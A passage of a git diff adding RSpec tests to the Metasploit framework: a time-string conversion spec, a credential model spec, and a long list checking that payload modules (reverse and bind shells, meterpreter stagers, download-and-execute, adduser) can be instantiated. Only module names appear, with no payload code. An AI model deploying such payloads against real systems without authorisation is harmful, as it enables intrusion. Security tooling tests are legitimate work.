'1 year', + 31536003 => '1 year 3 secs', + 31536063 => '1 year 1 min 3 secs', + 31539600 => '1 year 1 hour', + 31622400 => '1 year 1 day', + 31626000 => '1 year 1 day 1 hour', + 31626001 => '1 year 1 day 1 hour 1 sec', + 31626060 => '1 year 1 day 1 hour 1 min', + 31626061 => '1 year 1 day 1 hour 1 min 1 sec' + } + end + + subject { described_class } + + describe ".sec_to_s" do + it "returns string encoded seconds" do + conversions.each do |k, v| + expect(subject.sec_to_s(k)).to eq(v) + end + end + end + + describe ".str_to_sec" do + it "returns seconds from encoded string" do + conversions.each do |k, v| + expect(subject.str_to_sec(v)).to eq(k) + end + end + + context "when invalid encoded string" do + let(:invalid) { 'invalid' } + it "returns 0" do + expect(subject.str_to_sec(invalid)).to eq(0) + end + end + + context "when incorrect pluralization" do + let(:invalid) { '1 years 1 days 2 hour 1 min 1 secs' } + it "returns correct number of seconds" do + expect(subject.str_to_sec(invalid)).to eq(31629661) + end + end + end +end diff --git a/spec/models/metasploit/credential/core_spec.rb b/spec/models/metasploit/credential/core_spec.rb new file mode 100644 index 0000000000..fa70d2371a --- /dev/null +++ b/spec/models/metasploit/credential/core_spec.rb @@ -0,0 +1,5 @@ +require 'spec_helper' + +describe Metasploit::Credential::Core do + it_should_behave_like 'Metasploit::Credential::Core::ToCredential' +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb new file mode 100644 index 0000000000..7c995116aa --- /dev/null +++ b/spec/modules/payloads_spec.rb @@ -0,0 +1,3398 @@ +require 'spec_helper' + +describe 'modules/payloads', :content do + modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules') + + include_context 'untested payloads', modules_pathname: modules_pathname + + context 'aix/ppc/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/aix/ppc/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'aix/ppc/shell_bind_tcp' + end + + context 'aix/ppc/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/aix/ppc/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'aix/ppc/shell_find_port' + end + + context 'aix/ppc/shell_interact' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/aix/ppc/shell_interact' + ], + modules_pathname: modules_pathname, + reference_name: 'aix/ppc/shell_interact' + end + + context 'aix/ppc/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/aix/ppc/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'aix/ppc/shell_reverse_tcp' + end + + context 'android/meterpreter/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/android/reverse_http', + 'stages/android/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'android/meterpreter/reverse_http' + end + + context 'android/meterpreter/reverse_https' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/android/reverse_https', + 'stages/android/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'android/meterpreter/reverse_https' + end + + context 'android/meterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/android/reverse_tcp', + 'stages/android/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'android/meterpreter/reverse_tcp' + end + + context 'android/shell/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/android/reverse_http', + 'stages/android/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'android/shell/reverse_http' + end + + context 'android/shell/reverse_https' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/android/reverse_https', + 'stages/android/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'android/shell/reverse_https' + end + + context 'android/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/android/reverse_tcp', + 'stages/android/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'android/shell/reverse_tcp' + end + + context 'bsd/sparc/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/sparc/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/sparc/shell_bind_tcp' + end + + context 'bsd/sparc/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/sparc/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/sparc/shell_reverse_tcp' + end + + context 'bsd/x86/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/exec' + end + + context 'bsd/x86/metsvc_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/metsvc_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/metsvc_bind_tcp' + end + + context 'bsd/x86/metsvc_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/metsvc_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/metsvc_reverse_tcp' + end + + context 'bsd/x86/shell/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/bsd/x86/bind_ipv6_tcp', + 'stages/bsd/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell/bind_ipv6_tcp' + end + + context 'bsd/x86/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/bsd/x86/bind_tcp', + 'stages/bsd/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell/bind_tcp' + end + + context 'bsd/x86/shell/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/bsd/x86/find_tag', + 'stages/bsd/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell/find_tag' + end + + context 'bsd/x86/shell/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/bsd/x86/reverse_ipv6_tcp', + 'stages/bsd/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell/reverse_ipv6_tcp' + end + + context 'bsd/x86/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/bsd/x86/reverse_tcp', + 'stages/bsd/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell/reverse_tcp' + end + + context 'bsd/x86/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell_bind_tcp' + end + + context 'bsd/x86/shell_bind_tcp_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/shell_bind_tcp_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell_bind_tcp_ipv6' + end + + context 'bsd/x86/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell_find_port' + end + + context 'bsd/x86/shell_find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/shell_find_tag' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell_find_tag' + end + + context 'bsd/x86/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell_reverse_tcp' + end + + context 'bsd/x86/shell_reverse_tcp_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/shell_reverse_tcp_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell_reverse_tcp_ipv6' + end + + context 'bsdi/x86/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/bsdi/x86/bind_tcp', + 'stages/bsdi/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'bsdi/x86/shell/bind_tcp' + end + + context 'bsdi/x86/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/bsdi/x86/reverse_tcp', + 'stages/bsdi/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'bsdi/x86/shell/reverse_tcp' + end + + context 'bsdi/x86/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsdi/x86/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsdi/x86/shell_bind_tcp' + end + + context 'bsdi/x86/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsdi/x86/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'bsdi/x86/shell_find_port' + end + + context 'bsdi/x86/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsdi/x86/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsdi/x86/shell_reverse_tcp' + end + + context 'cmd/unix/bind_awk' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_awk' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_awk' + end + + context 'cmd/unix/bind_inetd' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_inetd' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_inetd' + end + + context 'cmd/unix/bind_lua' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_lua' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_lua' + end + + context 'cmd/unix/bind_netcat' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_netcat' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_netcat' + end + + context 'cmd/unix/bind_netcat_gaping' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_netcat_gaping' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_netcat_gaping' + end + + context 'cmd/unix/bind_netcat_gaping_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_netcat_gaping_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_netcat_gaping_ipv6' + end + + context 'cmd/unix/bind_nodejs' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_nodejs' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_nodejs' + end + + context 'cmd/unix/bind_perl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_perl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_perl' + end + + context 'cmd/unix/bind_perl_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_perl_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_perl_ipv6' + end + + context 'cmd/unix/bind_ruby' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_ruby' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_ruby' + end + + context 'cmd/unix/bind_ruby_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_ruby_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_ruby_ipv6' + end + + context 'cmd/unix/bind_zsh' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/bind_zsh' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/bind_zsh' + end + + context 'cmd/unix/generic' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/generic' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/generic' + end + + context 'cmd/unix/interact' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/interact' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/interact' + end + + context 'cmd/unix/reverse' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse' + end + + context 'cmd/unix/reverse_awk' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_awk' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_awk' + end + + context 'cmd/unix/reverse_bash' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_bash' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_bash' + end + + context 'cmd/unix/reverse_bash_telnet_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_bash_telnet_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_bash_telnet_ssl' + end + + context 'cmd/unix/reverse_lua' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_lua' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_lua' + end + + context 'cmd/unix/reverse_netcat' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_netcat' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_netcat' + end + + context 'cmd/unix/reverse_netcat_gaping' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_netcat_gaping' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_netcat_gaping' + end + + context 'cmd/unix/reverse_nodejs' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_nodejs' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_nodejs' + end + + context 'cmd/unix/reverse_openssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_openssl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_openssl' + end + + context 'cmd/unix/reverse_perl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_perl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_perl' + end + + context 'cmd/unix/reverse_perl_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_perl_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_perl_ssl' + end + + context 'cmd/unix/reverse_php_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_php_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_php_ssl' + end + + context 'cmd/unix/reverse_python' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_python' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_python' + end + + context 'cmd/unix/reverse_python_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_python_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_python_ssl' + end + + context 'cmd/unix/reverse_ruby' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_ruby' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_ruby' + end + + context 'cmd/unix/reverse_ruby_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_ruby_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_ruby_ssl' + end + + context 'cmd/unix/reverse_ssl_double_telnet' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_ssl_double_telnet' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_ssl_double_telnet' + end + + context 'cmd/unix/reverse_zsh' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/unix/reverse_zsh' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/unix/reverse_zsh' + end + + context 'cmd/windows/adduser' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/adduser' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/adduser' + end + + context 'cmd/windows/bind_lua' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/bind_lua' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/bind_lua' + end + + context 'cmd/windows/bind_perl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/bind_perl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/bind_perl' + end + + context 'cmd/windows/bind_perl_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/bind_perl_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/bind_perl_ipv6' + end + + context 'cmd/windows/bind_ruby' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/bind_ruby' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/bind_ruby' + end + + context 'cmd/windows/download_eval_vbs' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/download_eval_vbs' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/download_eval_vbs' + end + + context 'cmd/windows/download_exec_vbs' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/download_exec_vbs' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/download_exec_vbs' + end + + context 'cmd/windows/generic' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/generic' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/generic' + end + + context 'cmd/windows/reverse_lua' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/reverse_lua' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/reverse_lua' + end + + context 'cmd/windows/reverse_perl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/reverse_perl' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/reverse_perl' + end + + context 'cmd/windows/reverse_powershell' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/reverse_powershell' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/reverse_powershell' + end + + context 'cmd/windows/reverse_ruby' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/cmd/windows/reverse_ruby' + ], + modules_pathname: modules_pathname, + reference_name: 'cmd/windows/reverse_ruby' + end + + context 'firefox/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/firefox/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'firefox/exec' + end + + context 'firefox/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/firefox/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'firefox/shell_bind_tcp' + end + + context 'firefox/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/firefox/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'firefox/shell_reverse_tcp' + end + + context 'generic/custom' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/generic/custom' + ], + modules_pathname: modules_pathname, + reference_name: 'generic/custom' + end + + context 'generic/debug_trap' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/generic/debug_trap' + ], + modules_pathname: modules_pathname, + reference_name: 'generic/debug_trap' + end + + context 'generic/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/generic/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'generic/shell_bind_tcp' + end + + context 'generic/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/generic/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'generic/shell_reverse_tcp' + end + + context 'generic/tight_loop' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/generic/tight_loop' + ], + modules_pathname: modules_pathname, + reference_name: 'generic/tight_loop' + end + + context 'java/jsp_shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/java/jsp_shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'java/jsp_shell_bind_tcp' + end + + context 'java/jsp_shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/java/jsp_shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'java/jsp_shell_reverse_tcp' + end + + context 'java/meterpreter/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/java/bind_tcp', + 'stages/java/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'java/meterpreter/bind_tcp' + end + + context 'java/meterpreter/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/java/reverse_http', + 'stages/java/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'java/meterpreter/reverse_http' + end + + context 'java/meterpreter/reverse_https' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/java/reverse_https', + 'stages/java/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'java/meterpreter/reverse_https' + end + + context 'java/meterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/java/reverse_tcp', + 'stages/java/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'java/meterpreter/reverse_tcp' + end + + context 'java/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/java/bind_tcp', + 'stages/java/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'java/shell/bind_tcp' + end + + context 'java/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/java/reverse_tcp', + 'stages/java/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'java/shell/reverse_tcp' + end + + context 'java/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/java/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'java/shell_reverse_tcp' + end + + context 'linux/armle/adduser' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/armle/adduser' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/armle/adduser' + end + + context 'linux/armle/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/armle/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/armle/exec' + end + + context 'linux/armle/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/armle/bind_tcp', + 'stages/linux/armle/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/armle/shell/bind_tcp' + end + + context 'linux/armle/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/armle/reverse_tcp', + 'stages/linux/armle/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/armle/shell/reverse_tcp' + end + + context 'linux/armle/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/armle/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/armle/shell_bind_tcp' + end + + context 'linux/armle/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/armle/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/armle/shell_reverse_tcp' + end + + context 'linux/mipsbe/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsbe/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsbe/exec' + end + + context 'linux/mipsbe/reboot' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsbe/reboot' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsbe/reboot' + end + + context 'linux/mipsbe/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/mipsbe/reverse_tcp', + 'stages/linux/mipsbe/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsbe/shell/reverse_tcp' + end + + context 'linux/mipsbe/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsbe/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsbe/shell_bind_tcp' + end + + context 'linux/mipsbe/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsbe/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsbe/shell_reverse_tcp' + end + + context 'linux/mipsle/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsle/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsle/exec' + end + + context 'linux/mipsle/reboot' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsle/reboot' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsle/reboot' + end + + context 'linux/mipsle/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/mipsle/reverse_tcp', + 'stages/linux/mipsle/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsle/shell/reverse_tcp' + end + + context 'linux/mipsle/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsle/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsle/shell_bind_tcp' + end + + context 'linux/mipsle/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/mipsle/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/mipsle/shell_reverse_tcp' + end + + context 'linux/ppc/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/ppc/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/ppc/shell_bind_tcp' + end + + context 'linux/ppc/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/ppc/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/ppc/shell_find_port' + end + + context 'linux/ppc/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/ppc/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/ppc/shell_reverse_tcp' + end + + context 'linux/ppc64/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/ppc64/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/ppc64/shell_bind_tcp' + end + + context 'linux/ppc64/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/ppc64/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/ppc64/shell_find_port' + end + + context 'linux/ppc64/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/ppc64/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/ppc64/shell_reverse_tcp' + end + + context 'linux/x64/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x64/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x64/exec' + end + + context 'linux/x64/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x64/bind_tcp', + 'stages/linux/x64/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x64/shell/bind_tcp' + end + + context 'linux/x64/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 